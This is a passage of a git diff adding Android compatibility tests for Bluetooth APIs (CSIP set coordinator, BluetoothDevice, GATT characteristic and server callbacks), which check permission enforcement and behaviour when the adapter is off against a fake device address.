+            TestUtils.dropPermissionAsShellUid();
+        }
+    }
+
+    public void testGetConnectedDevices() {
+        if (!(mHasBluetooth && mIsCsipSetCoordinatorSupported)) return;
+
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothCsipSetCoordinator);
+
+        assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+
+        // Verify returns empty list if bluetooth is not enabled
+        List<BluetoothDevice> connectedDevices = mBluetoothCsipSetCoordinator.getConnectedDevices();
+        assertTrue(connectedDevices.isEmpty());
+    }
+
+    public void testGetDevicesMatchingConnectionStates() {
+        if (!(mHasBluetooth && mIsCsipSetCoordinatorSupported)) return;
+
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothCsipSetCoordinator);
+
+        assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+
+        // Verify returns empty list if bluetooth is not enabled
+        List<BluetoothDevice> connectedDevices =
+                mBluetoothCsipSetCoordinator.getDevicesMatchingConnectionStates(null);
+        assertTrue(connectedDevices.isEmpty());
+    }
+
+    public void testGetGroupUuidMapByDevice() {
+        if (!(mHasBluetooth && mIsCsipSetCoordinatorSupported)) return;
+
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothCsipSetCoordinator);
+
+        mTestDevice = mAdapter.getRemoteDevice("00:11:22:AA:BB:CC");
+
+        TestUtils.dropPermissionAsShellUid();
+        // Verify throws SecurityException without permission.BLUETOOTH_PRIVILEGED
+        assertThrows(SecurityException.class, () ->
+                mBluetoothCsipSetCoordinator.getGroupUuidMapByDevice(mTestDevice));
+
+        TestUtils.adoptPermissionAsShellUid(BLUETOOTH_CONNECT, BLUETOOTH_PRIVILEGED);
+
+        assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+
+        Map<Integer, ParcelUuid> result = mBluetoothCsipSetCoordinator
+                .getGroupUuidMapByDevice(mTestDevice);
+        assertTrue(result.isEmpty());
+    }
+
+    public void testLockUnlockGroup() {
+        if (!(mHasBluetooth && mIsCsipSetCoordinatorSupported)) return;
+
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothCsipSetCoordinator);
+
+        mTestGroupId = 1;
+         // Verify parameter
+        assertThrows(NullPointerException.class, () ->
+                mBluetoothCsipSetCoordinator.lockGroup(mTestGroupId, null, mTestCallback));
+        assertThrows(NullPointerException.class, () ->
+                mBluetoothCsipSetCoordinator.lockGroup(mTestGroupId, mTestExecutor, null));
+
+        TestUtils.dropPermissionAsShellUid();
+        // Verify throws SecurityException without permission.BLUETOOTH_PRIVILEGED
+        assertThrows(SecurityException.class,
+                () -> mBluetoothCsipSetCoordinator.lockGroup(mTestGroupId, mTestExecutor,
+                                                            mTestCallback));
+
+        TestUtils.adoptPermissionAsShellUid(BLUETOOTH_CONNECT, BLUETOOTH_PRIVILEGED);
+
+        // Lock group
+        mIsLocked = false;
+        mTestOperationStatus = BluetoothStatusCodes.ERROR_CSIP_INVALID_GROUP_ID;
+        try {
+            mBluetoothCsipSetCoordinator.lockGroup(mTestGroupId,
+                    mTestExecutor, mTestCallback);
+        } catch (Exception e) {
+            fail("Exception caught from register(): " + e.toString());
+        }
+
+        long uuidLsb = 0x01;
+        long uuidMsb = 0x01;
+        UUID uuid = new UUID(uuidMsb, uuidLsb);
+        try {
+            mBluetoothCsipSetCoordinator.unlockGroup(uuid);
+        } catch (Exception e) {
+            fail("Exception caught from register(): " + e.toString());
+        }
+    }
+
+    public void testTestLockCallback() {
+        if (!(mHasBluetooth && mIsCsipSetCoordinatorSupported)) return;
+
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothCsipSetCoordinator);
+
+        /* Note. This is just for api coverage until proper testing tools are set up */
+        mTestGroupId = 1;
+        mTestOperationStatus = 1;
+        mIsLocked = true;
+
+        mTestCallback.onGroupLockSet(mTestGroupId, mTestOperationStatus, mIsLocked);
+        assertTrue(mGroupLockCallbackCalled);
+    }
+
+    public void testGetAllGroupIds() {
+        if (!(mHasBluetooth && mIsCsipSetCoordinatorSupported)) return;
+
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothCsipSetCoordinator);
+
+        TestUtils.dropPermissionAsShellUid();
+        assertThrows(SecurityException.class, () ->
+                mBluetoothCsipSetCoordinator.getAllGroupIds(BluetoothUuid.CAP));
+
+        TestUtils.adoptPermissionAsShellUid(BLUETOOTH_CONNECT, BLUETOOTH_PRIVILEGED);
+
+        assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+        List<Integer> result = mBluetoothCsipSetCoordinator.getAllGroupIds(null);
+        assertTrue(result.isEmpty());
+    }
+
+    private boolean waitForProfileConnect() {
+        mProfileConnectedlock.lock();
+        try {
+            // Wait for the Adapter to be disabled
+            while (!mIsProfileReady) {
+                if (!mConditionProfileIsConnected.await(
+                        PROXY_CONNECTION_TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
+                    // Timeout
+                    Log.e(TAG, "Timeout while waiting for Profile Connect");
+                    break;
+                } // else spurious wakeups
+            }
+        } catch (InterruptedException e) {
+            Log.e(TAG, "waitForProfileConnect: interrrupted");
+        } finally {
+            mProfileConnectedlock.unlock();
+        }
+        return mIsProfileReady;
+    }
+
+    private final class BluetoothCsipServiceListener implements
+            BluetoothProfile.ServiceListener {
+
+        @Override
+        public void onServiceConnected(int profile, BluetoothProfile proxy) {
+            mProfileConnectedlock.lock();
+            mBluetoothCsipSetCoordinator = (BluetoothCsipSetCoordinator) proxy;
+            mIsProfileReady = true;
+            try {
+                mConditionProfileIsConnected.signal();
+            } finally {
+                mProfileConnectedlock.unlock();
+            }
+        }
+
+        @Override
+        public void onServiceDisconnected(int profile) {
+        }
+    }
+}
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothDeviceTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothDeviceTest.java
index 7f1a487..927cb50 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothDeviceTest.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothDeviceTest.java
@@ -16,20 +16,41 @@
 
 package android.bluetooth.cts;
 
+import static android.Manifest.permission.BLUETOOTH_CONNECT;
+import static android.bluetooth.BluetoothDevice.ACCESS_ALLOWED;
+import static android.bluetooth.BluetoothDevice.ACCESS_REJECTED;
+import static android.bluetooth.BluetoothDevice.ACCESS_UNKNOWN;
+import static android.bluetooth.BluetoothDevice.TRANSPORT_AUTO;
+import static android.bluetooth.BluetoothDevice.TRANSPORT_BREDR;
+import static android.bluetooth.BluetoothDevice.TRANSPORT_LE;
+
 import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
 
+import static org.junit.Assert.assertThrows;
+
+import android.app.UiAutomation;
 import android.bluetooth.BluetoothAdapter;
 import android.bluetooth.BluetoothDevice;
 import android.bluetooth.BluetoothManager;
 import android.bluetooth.BluetoothStatusCodes;
+import android.bluetooth.OobData;
+import android.content.AttributionSource;
 import android.content.pm.PackageManager;
 import android.test.AndroidTestCase;
 
+import androidx.test.InstrumentationRegistry;
+
+import java.io.UnsupportedEncodingException;
+
 public class BluetoothDeviceTest extends AndroidTestCase {
 
     private boolean mHasBluetooth;
     private boolean mHasCompanionDevice;
     private BluetoothAdapter mAdapter;
+    private UiAutomation mUiAutomation;;
+
+    private final String mFakeDeviceAddress = "00:11:22:AA:BB:CC";
+    private BluetoothDevice mFakeDevice;
 
     @Override
     public void setUp() throws Exception {
@@ -43,7 +64,10 @@
         if (mHasBluetooth && mHasCompanionDevice) {
             BluetoothManager manager = getContext().getSystemService(BluetoothManager.class);
             mAdapter = manager.getAdapter();
+            mUiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+            mUiAutomation.adoptShellPermissionIdentity(BLUETOOTH_CONNECT);
             assertTrue(BTAdapterUtils.enableAdapter(mAdapter, mContext));
+            mFakeDevice = mAdapter.getRemoteDevice(mFakeDeviceAddress);
         }
     }
 
@@ -53,6 +77,7 @@
         if (mHasBluetooth && mHasCompanionDevice) {
             assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
             mAdapter = null;
+            mUiAutomation.dropShellPermissionIdentity();
         }
     }
 
@@ -64,28 +89,28 @@
 
         int userId = mContext.getUser().getIdentifier();
         String packageName = mContext.getOpPackageName();
-        String deviceAddress = "00:11:22:AA:BB:CC";
 
-        BluetoothDevice device = mAdapter.getRemoteDevice(deviceAddress);
+        AttributionSource source = AttributionSource.myAttributionSource();
+        assertEquals("android.bluetooth.cts", source.getPackageName());
+
         // Verifies that when there is no alias, we return the device name
-        assertNull(device.getAlias());
+        assertNull(mFakeDevice.getAlias());
+
+        assertThrows(IllegalArgumentException.class, () -> mFakeDevice.setAlias(""));
 
         String testDeviceAlias = "Test Device Alias";
 
         // This should throw a SecurityException because there is no CDM association
-        try {
-            device.setAlias(testDeviceAlias);
-            fail("BluetoothDevice alias was able to be set without a CDM association or "
-                    + "BLUETOOTH_PRIVILEGED permission");
-        } catch (SecurityException ex) {
-            assertNull(device.getAlias());
-        }
+        assertThrows("BluetoothDevice.setAlias without"
+                + " a CDM association or BLUETOOTH_PRIVILEGED permission",
+                SecurityException.class, () -> mFakeDevice.setAlias(testDeviceAlias));
 
         runShellCommand(String.format(
-                "cmd companiondevice associate %d %s %s", userId, packageName, deviceAddress));
+                "cmd companiondevice associate %d %s %s", userId, packageName, mFakeDeviceAddress));
         String output = runShellCommand("dumpsys companiondevice");
         assertTrue("Package name missing from output", output.contains(packageName));
-        assertTrue("Device address missing from output", output.contains(deviceAddress));
+        assertTrue("Device address missing from output",
+                output.toLowerCase().contains(mFakeDeviceAddress.toLowerCase()));
 
         // Takes time to update the CDM cache, so sleep to ensure the association is cached
         try {
@@ -98,8 +123,349 @@
          * Device properties don't exist for non-existent BluetoothDevice, so calling setAlias with
          * permissions should return false
          */
-        assertEquals(BluetoothStatusCodes.ERROR_DEVICE_NOT_BONDED, device.setAlias(testDeviceAlias));
-        runShellCommand(String.format(
-                "cmd companiondevice disassociate %d %s %s", userId, packageName, deviceAddress));
+        assertEquals(BluetoothStatusCodes.ERROR_DEVICE_NOT_BONDED, mFakeDevice
+                .setAlias(testDeviceAlias));
+        runShellCommand(String.format("cmd companiondevice disassociate %d %s %s", userId,
+                    packageName, mFakeDeviceAddress));
+
+        assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+        assertNull(mFakeDevice.getAlias());
+        assertEquals(BluetoothStatusCodes.ERROR_BLUETOOTH_NOT_ENABLED,
+                mFakeDevice.setAlias(testDeviceAlias));
+    }
+
+    public void test_getAnonymizedAddress() {
+        if (!mHasBluetooth || !mHasCompanionDevice) {
+            // Skip the test if bluetooth or companion device are not present.
+            return;
+        }
+
+        assertEquals(mFakeDevice.getAnonymizedAddress(), "XX:XX:XX:AA:BB:CC");
+    }
+
+    public void test_getBatteryLevel() {
+        if (!mHasBluetooth || !mHasCompanionDevice) {
+            // Skip the test if bluetooth or companion device are not present.
+            return;
+        }
+
+        assertEquals(BluetoothDevice.BATTERY_LEVEL_UNKNOWN, mFakeDevice.getBatteryLevel());
+
+        mUiAutomation.dropShellPermissionIdentity();
+        assertThrows(SecurityException.class, () -> mFakeDevice.getBatteryLevel());
+        mUiAutomation.adoptShellPermissionIdentity(BLUETOOTH_CONNECT);
+
+        assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+        assertEquals(BluetoothDevice.BATTERY_LEVEL_BLUETOOTH_OFF, mFakeDevice.getBatteryLevel());
+    }
+
+    public void test_getMessageAccessPermission() {
+        if (!mHasBluetooth || !mHasCompanionDevice) {
+            // Skip the test if bluetooth or companion device are not present.
+            return;
+        }
+
+        assertEquals(BluetoothDevice.ACCESS_UNKNOWN, mFakeDevice.getMessageAccessPermission());
+
+        mUiAutomation.dropShellPermissionIdentity();
+        assertThrows(SecurityException.class, () -> mFakeDevice.getMessageAccessPermission());
+        mUiAutomation.adoptShellPermissionIdentity(BLUETOOTH_CONNECT);
+
+        assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+        assertEquals(BluetoothDevice.ACCESS_UNKNOWN, mFakeDevice.getMessageAccessPermission());
+    }
+
+    public void test_getPhonebookAccessPermission() {
+        if (!mHasBluetooth || !mHasCompanionDevice) {
+            // Skip the test if bluetooth or companion device are not present.
+            return;
+        }
+
+        assertEquals(BluetoothDevice.ACCESS_UNKNOWN, mFakeDevice.getPhonebookAccessPermission());
+
+        mUiAutomation.dropShellPermissionIdentity();
+        assertThrows(SecurityException.class, () -> mFakeDevice.getPhonebookAccessPermission());
+        mUiAutomation.adoptShellPermissionIdentity(BLUETOOTH_CONNECT);
+
+        assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+        assertEquals(BluetoothDevice.ACCESS_UNKNOWN, mFakeDevice.getPhonebookAccessPermission());
+    }
+
+    public void test_isBondingInitiatedLocally() {
+        if (!mHasBluetooth || !mHasCompanionDevice) {
+            // Skip the test if bluetooth or companion device are not present.
+            return;
+        }
+
+        assertFalse(mFakeDevice.isBondingInitiatedLocally());
+
+        mUiAutomation.dropShellPermissionIdentity();
+        assertThrows(SecurityException.class, () -> mFakeDevice.isBondingInitiatedLocally());
+        mUiAutomation.adoptShellPermissionIdentity(BLUETOOTH_CONNECT);
+
+        assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+        assertFalse(mFakeDevice.isBondingInitiatedLocally());
+    }
+
+    public void test_prepareToEnterProcess() {
+        if (!mHasBluetooth || !mHasCompanionDevice) {
+            // Skip the test if bluetooth or companion device are not present.
+            return;
+        }
+
+        mFakeDevice.prepareToEnterProcess(null);
+    }
+
+    public void test_setPin() {
+        if (!mHasBluetooth || !mHasCompanionDevice) {
+            // Skip the test if bluetooth or companion device are not present.
+            return;
+        }
+
+        assertFalse(mFakeDevice.setPin((String) null));
+        assertFalse(mFakeDevice.setPin("12345678901234567")); // check PIN too big
+
+        assertFalse(mFakeDevice.setPin("123456")); //device is not bonding
+
+        mUiAutomation.dropShellPermissionIdentity();
+        assertThrows(SecurityException.class, () -> mFakeDevice.setPin("123456"));
+        mUiAutomation.adoptShellPermissionIdentity(BLUETOOTH_CONNECT);
+
+        assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+        assertFalse(mFakeDevice.setPin("123456"));
+    }
+
+    public void test_connect_disconnect() {
+        if (!mHasBluetooth || !mHasCompanionDevice) {
+            // Skip the test if bluetooth or companion device are not present.
+            return;
+        }
+
+        // This should throw a SecurityException because no BLUETOOTH_PRIVILEGED permission
+        assertThrows(SecurityException.class, () -> mFakeDevice.connect());
+        assertThrows(SecurityException.class, () -> mFakeDevice.disconnect());
+    }
+
+    public void test_cancelBondProcess() {
+        if (!mHasBluetooth || !mHasCompanionDevice) {
+            // Skip the test if bluetooth or companion device are not present.
+            return;
+        }
+
+        mUiAutomation.dropShellPermissionIdentity();
+        assertThrows(SecurityException.class, () -> mFakeDevice.cancelBondProcess());
+        mUiAutomation.adoptShellPermissionIdentity(BLUETOOTH_CONNECT);
+
+        assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+        assertFalse(mFakeDevice.cancelBondProcess());
+    }
+
+    public void test_createBond() {
+        if (!mHasBluetooth || !mHasCompanionDevice) {
+            // Skip the test if bluetooth or companion device are not present.
+            return;
+        }
+
+        mUiAutomation.dropShellPermissionIdentity();
+        assertThrows(SecurityException.class, () -> mFakeDevice.createBond(TRANSPORT_AUTO));
+        mUiAutomation.adoptShellPermissionIdentity(BLUETOOTH_CONNECT);
+
+        assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+        assertFalse(mFakeDevice.createBond(TRANSPORT_AUTO));
+    }
+
+    public void test_createBondOutOfBand() {
+        if (!mHasBluetooth || !mHasCompanionDevice) {
+            // Skip the test if bluetooth or companion device are not present.
+            return;
+        }
+
+        OobData data = new OobData.ClassicBuilder(
+                new byte[16], new byte[2], new byte[7]).build();
+
+        assertThrows(IllegalArgumentException.class, () -> mFakeDevice.createBondOutOfBand(
+                TRANSPORT_AUTO, null, null));
+
+        mUiAutomation.dropShellPermissionIdentity();
+        assertThrows(SecurityException.class, () -> mFakeDevice
+                .createBondOutOfBand(TRANSPORT_AUTO, data, null));
+        mUiAutomation.adoptShellPermissionIdentity(BLUETOOTH_CONNECT);
+    }
+
+    public void test_getSimAccessPermission() {
+        if (!mHasBluetooth || !mHasCompanionDevice) {
+            // Skip the test if bluetooth or companion device are not present.
+            return;
+        }
+
+        //Access is unknown as device is not bonded
+        assertEquals(ACCESS_UNKNOWN, mFakeDevice.getSimAccessPermission());
+
+        mUiAutomation.dropShellPermissionIdentity();
+        assertThrows(SecurityException.class, () -> mFakeDevice.getSimAccessPermission());
+        mUiAutomation.adoptShellPermissionIdentity(BLUETOOTH_CONNECT);
+
+        assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+        assertEquals(ACCESS_UNKNOWN, mFakeDevice.getSimAccessPermission());
+    }
+
+    public void test_getUuids() {
+        if (!mHasBluetooth || !mHasCompanionDevice) {
+            // Skip the test if bluetooth or companion device are not present.
+            return;
+        }
+
+        assertNull(mFakeDevice.getUuids());
+        mUiAutomation.dropShellPermissionIdentity();
+        assertThrows(SecurityException.class, () -> mFakeDevice.getUuids());
+        mUiAutomation.adoptShellPermissionIdentity(BLUETOOTH_CONNECT);
+
+        assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+        assertNull(mFakeDevice.getUuids());
+    }
+
+    public void test_isEncrypted() {
+        if (!mHasBluetooth || !mHasCompanionDevice) {
+            // Skip the test if bluetooth or companion device are not present.
+            return;
+        }
+
+        //Device is not connected
+        assertFalse(mFakeDevice.isEncrypted());
+
+        mUiAutomation.dropShellPermissionIdentity();
+        assertThrows(SecurityException.class, () -> mFakeDevice.isEncrypted());
+        mUiAutomation.adoptShellPermissionIdentity(BLUETOOTH_CONNECT);
+
+        assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+        assertFalse(mFakeDevice.isEncrypted());
+    }
+
+    public void test_removeBond() {
+        if (!mHasBluetooth || !mHasCompanionDevice) {
+            // Skip the test if bluetooth or companion device are not present.
+            return;
+        }
+
+        //Device is not bonded
+        assertFalse(mFakeDevice.removeBond());
+
+        mUiAutomation.dropShellPermissionIdentity();
+        assertThrows(SecurityException.class, () -> mFakeDevice.removeBond());
+        mUiAutomation.adoptShellPermissionIdentity(BLUETOOTH_CONNECT);
+
+        assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+        assertFalse(mFakeDevice.removeBond());
+    }
+
+    public void test_setPinByteArray() {
+        if (!mHasBluetooth || !mHasCompanionDevice) {
+            // Skip the test if bluetooth or companion device are not present.
+            return;
+        }
+
+        assertThrows(NullPointerException.class, () -> mFakeDevice.setPin((byte[]) null));
+
+        // check PIN too big
+        assertFalse(mFakeDevice.setPin(convertPinToBytes("12345678901234567")));
+        assertFalse(mFakeDevice.setPin(convertPinToBytes("123456"))); // device is not bonding
+
+        mUiAutomation.dropShellPermissionIdentity();
+        assertThrows(SecurityException.class, () -> mFakeDevice
+                .setPin(convertPinToBytes("123456")));
+        mUiAutomation.adoptShellPermissionIdentity(BLUETOOTH_CONNECT);
+
+        assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+        assertFalse(mFakeDevice.setPin(convertPinToBytes("123456")));
+    }
+
+    public void test_connectGatt() {
+        if (!mHasBluetooth || !mHasCompanionDevice) {
+            // Skip the test if bluetooth or companion device are not present.
+            return;
+        }
+
+        assertThrows(NullPointerException.class, () -> mFakeDevice
+                .connectGatt(getContext(), false, null,
+                TRANSPORT_AUTO, BluetoothDevice.PHY_LE_1M_MASK));
+
+        assertThrows(NullPointerException.class, () ->
+                mFakeDevice.connectGatt(getContext(), false, null,
+                TRANSPORT_AUTO, BluetoothDevice.PHY_LE_1M_MASK, null));
+    }
+
+    public void test_fetchUuidsWithSdp() {
+        if (!mHasBluetooth || !mHasCompanionDevice) {
+            // Skip the test if bluetooth or companion device are not present.
+            return;
+        }
+
+        // TRANSPORT_AUTO doesn't need BLUETOOTH_PRIVILEGED permission
+        assertTrue(mFakeDevice.fetchUuidsWithSdp(TRANSPORT_AUTO));
+
+        // This should throw a SecurityException because no BLUETOOTH_PRIVILEGED permission
+        assertThrows(SecurityException.class, () -> mFakeDevice.fetchUuidsWithSdp(TRANSPORT_BREDR));
+        assertThrows(SecurityException.class, () -> mFakeDevice.fetchUuidsWithSdp(TRANSPORT_LE));
+
+        assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+        assertFalse(mFakeDevice.fetchUuidsWithSdp(TRANSPORT_AUTO));
+    }
+
+    public void test_setMessageAccessPermission() {
+        if (!mHasBluetooth || !mHasCompanionDevice) {
+            // Skip the test if bluetooth or companion device are not present.
+            return;
+        }
+
+        // This should throw a SecurityException because no BLUETOOTH_PRIVILEGED permission
+        assertThrows(SecurityException.class, () -> mFakeDevice
+                .setMessageAccessPermission(ACCESS_ALLOWED));
+        assertThrows(SecurityException.class, () -> mFakeDevice
+                .setMessageAccessPermission(ACCESS_UNKNOWN));
+        assertThrows(SecurityException.class, () -> mFakeDevice
+                .setMessageAccessPermission(ACCESS_REJECTED));
+    }
+
+    public void test_setPhonebookAccessPermission() {
+        if (!mHasBluetooth || !mHasCompanionDevice) {
+            // Skip the test if bluetooth or companion device are not present.
+            return;
+        }
+
+        // This should throw a SecurityException because no BLUETOOTH_PRIVILEGED permission
+        assertThrows(SecurityException.class, () -> mFakeDevice
+                .setPhonebookAccessPermission(ACCESS_ALLOWED));
+        assertThrows(SecurityException.class, () -> mFakeDevice
+                .setPhonebookAccessPermission(ACCESS_UNKNOWN));
+        assertThrows(SecurityException.class, () -> mFakeDevice
+                .setPhonebookAccessPermission(ACCESS_REJECTED));
+    }
+
+    public void test_setSimAccessPermission() {
+        if (!mHasBluetooth || !mHasCompanionDevice) {
+            // Skip the test if bluetooth or companion device are not present.
+            return;
+        }
+
+        // This should throw a SecurityException because no BLUETOOTH_PRIVILEGED permission
+        assertThrows(SecurityException.class, () -> mFakeDevice
+                .setSimAccessPermission(ACCESS_ALLOWED));
+        assertThrows(SecurityException.class, () -> mFakeDevice
+                .setSimAccessPermission(ACCESS_UNKNOWN));
+        assertThrows(SecurityException.class, () -> mFakeDevice
+                .setSimAccessPermission(ACCESS_REJECTED));
+    }
+
+    private byte[] convertPinToBytes(String pin) {
+        if (pin == null) {
+            return null;
+        }
+        byte[] pinBytes;
+        try {
+            pinBytes = pin.getBytes("UTF-8");
+        } catch (UnsupportedEncodingException uee) {
+            return null;
+        }
+        return pinBytes;
     }
 }
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothGattCharacteristicTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothGattCharacteristicTest.java
new file mode 100644
index 0000000..db3f16d
--- /dev/null
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothGattCharacteristicTest.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.bluetooth.cts;
+
+import android.bluetooth.BluetoothGattCharacteristic;
+import android.test.AndroidTestCase;
+
+import java.util.UUID;
+
+public class BluetoothGattCharacteristicTest extends AndroidTestCase {
+    private final UUID TEST_UUID = UUID.fromString("0000110a-0000-1000-8000-00805f9b34fb");
+    private BluetoothGattCharacteristic mBluetoothGattCharacteristic;
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+        mBluetoothGattCharacteristic = new BluetoothGattCharacteristic(TEST_UUID, 0x0A, 0x11);
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        mBluetoothGattCharacteristic = null;
+    }
+
+    public void test_getInstanceId() {
+        assertEquals(mBluetoothGattCharacteristic.getInstanceId(), 0);
+    }
+}
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothGattServerCallbackTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothGattServerCallbackTest.java
new file mode 100644
index 0000000..f247d5e
--- /dev/null
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothGattServerCallbackTest.java
@@ -0,0 +1,159 @@
+/*
+ * Copyright 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.bluetooth.cts;
+
+import static android.Manifest.permission.BLUETOOTH_CONNECT;
+
+import android.app.UiAutomation;
+import android.bluetooth.BluetoothAdapter;
+import android.bluetooth.BluetoothDevice;
+import android.bluetooth.BluetoothGatt;
+import android.bluetooth.BluetoothGattCharacteristic;
+import android.bluetooth.BluetoothGattDescriptor;
+import android.bluetooth.BluetoothGattServerCallback;
+import android.bluetooth.BluetoothGattService;
+import android.bluetooth.BluetoothManager;
+import android.bluetooth.BluetoothProfile;
+import android.content.pm.PackageManager;
+import android.test.AndroidTestCase;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import java.util.UUID;
+
+public class BluetoothGattServerCallbackTest extends AndroidTestCase {
+    private final BluetoothGattServerCallback mCallbacks = new BluetoothGattServerCallback() {
+        @Override
+        public void onConnectionStateChange(BluetoothDevice device, int status, int newState) {
+        }
+
+        @Override
+        public void onServiceAdded(int status, BluetoothGattService service) {
+        }
+
+        @Override
+        public void onCharacteristicReadRequest(BluetoothDevice device, int requestId,
+                int offset, BluetoothGattCharacteristic characteristic) {
+        }
+
+        @Override
+        public void onCharacteristicWriteRequest(BluetoothDevice device, int requestId,
+                BluetoothGattCharacteristic characteristic,
+                boolean preparedWrite, boolean responseNeeded,
+                int offset, byte[] value) {
+        }
+
+        @Override
+        public void onDescriptorReadRequest(BluetoothDevice device, int requestId,
+                int offset, BluetoothGattDescriptor descriptor) {
+        }
+
+        @Override
+        public void onDescriptorWriteRequest(BluetoothDevice device, int requestId,
+                BluetoothGattDescriptor descriptor,
+                boolean preparedWrite, boolean responseNeeded,
+                int offset, byte[] value) {
+        }
+
+        @Override
+        public void onExecuteWrite(BluetoothDevice device, int requestId, boolean execute) {
+        }
+
+        @Override
+        public void onNotificationSent(BluetoothDevice device, int status) {
+        }
+
+        @Override
+        public void onMtuChanged(BluetoothDevice device, int mtu) {
+        }
+
+        @Override
+        public void onPhyUpdate(BluetoothDevice device, int txPhy, int rxPhy, int status) {
+        }
+
+        @Override
+        public void onPhyRead(BluetoothDevice device, int txPhy, int rxPhy, int status) {
+        }
+
+    };
+    private final UUID TEST_UUID = UUID.fromString("0000110a-0000-1000-8000-00805f9b34fb");
+    private final byte[] mBytes = new byte[]{};
+    private boolean mHasBluetooth;
+    private BluetoothDevice mBluetoothDevice;
+    private BluetoothAdapter mAdapter;
+    private UiAutomation mUiAutomation;
+    private BluetoothGattService mBluetoothGattService;
+    private BluetoothGattDescriptor mBluetoothGattDescriptor;
+    private BluetoothGattCharacteristic mBluetoothGattCharacteristic;
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+        mHasBluetooth = getContext().getPackageManager().hasSystemFeature(
+                PackageManager.FEATURE_BLUETOOTH);
+        BluetoothManager manager = getContext().getSystemService(BluetoothManager.class);
+        if (!mHasBluetooth) return;
+        mUiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        mUiAutomation.adoptShellPermissionIdentity(BLUETOOTH_CONNECT);
+        mAdapter = manager.getAdapter();
+        assertTrue(BTAdapterUtils.enableAdapter(mAdapter, mContext));
+        mBluetoothDevice = mAdapter.getRemoteDevice("00:11:22:AA:BB:CC");
+        mBluetoothGattService = new BluetoothGattService(TEST_UUID,
+                BluetoothGattService.SERVICE_TYPE_PRIMARY);
+        mBluetoothGattCharacteristic = new BluetoothGattCharacteristic(TEST_UUID, 0x0A, 0x11);
+        mBluetoothGattDescriptor = new BluetoothGattDescriptor(TEST_UUID, 0x11);
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        super.tearDown();
+        if (mHasBluetooth) {
+            mUiAutomation.adoptShellPermissionIdentity(BLUETOOTH_CONNECT);
+            assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+            mAdapter = null;
+            mBluetoothDevice = null;
+            mBluetoothGattService = null;
+            mBluetoothGattCharacteristic = null;
+            mBluetoothGattDescriptor = null;
+            mUiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+    public void test_allMethods() {
+        mCallbacks.onConnectionStateChange(mBluetoothDevice, BluetoothProfile.STATE_CONNECTED,
+                BluetoothProfile.STATE_CONNECTED);
+        mCallbacks.onServiceAdded(BluetoothGatt.GATT_SUCCESS, mBluetoothGattService);
+        mCallbacks.onCharacteristicReadRequest(mBluetoothDevice, 0, 0,
+                mBluetoothGattCharacteristic);
+        mCallbacks.onCharacteristicWriteRequest(mBluetoothDevice, 0,
+                mBluetoothGattCharacteristic,
+                true, true, 0, mBytes);
+        mCallbacks.onDescriptorReadRequest(mBluetoothDevice, 0, 0,
